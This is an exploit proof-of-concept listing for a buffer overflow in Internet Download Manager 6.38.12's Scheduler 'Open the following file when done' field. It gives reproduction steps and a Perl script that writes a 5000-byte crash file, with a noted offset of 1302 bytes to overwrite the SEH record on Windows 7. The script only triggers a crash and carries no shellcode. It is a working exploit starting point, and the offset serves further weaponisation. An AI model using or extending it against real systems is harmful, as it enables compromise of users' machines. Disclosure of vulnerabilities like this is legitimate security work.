# Exploit Title: Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC) # Date: November 18, 2020 # Exploit Author: Vincent Wolterman # Vendor Homepage: http://www.internetdownloadmanager.com/ # Software Link: http://www.internetdownloadmanager.com/download.html # Version: 6.38.12 # Tested on: Windows 7 Professional SP 1 Build 7601; Windows 10 Home Build 19041 # Steps to reproduce crash: # 1) Execute provided Perl code # 2) Open IDMan_Crash.txt output file # 3) Copy contents of text file to clipboard # 4) Open Internet Download Manager 6.38 # 5) From the Menu bar -> Downloads -> Scheduler # 6) Check the box for 'Open the following file when done:' # 7) Paste the contents of IDMan_Crash.txt into the input field below # 8) Click 'Apply' and observe the crash #!/usr/bin/perl $baddata = "\x41" x 1302; $baddata .= "\x42" x 2; # this length overwrites NSEH on Windows 7 Pro SP 1 $baddata .= "\x43"x(5000-length($baddata)); $file = "IDMan_Crash.txt"; open (FILE, '>IDMan_Crash.txt'); print FILE $baddata; close (FILE); print "Exploit file created [" . $file . "]\n"; print "Buffer size: " . length($baddata) . "\n";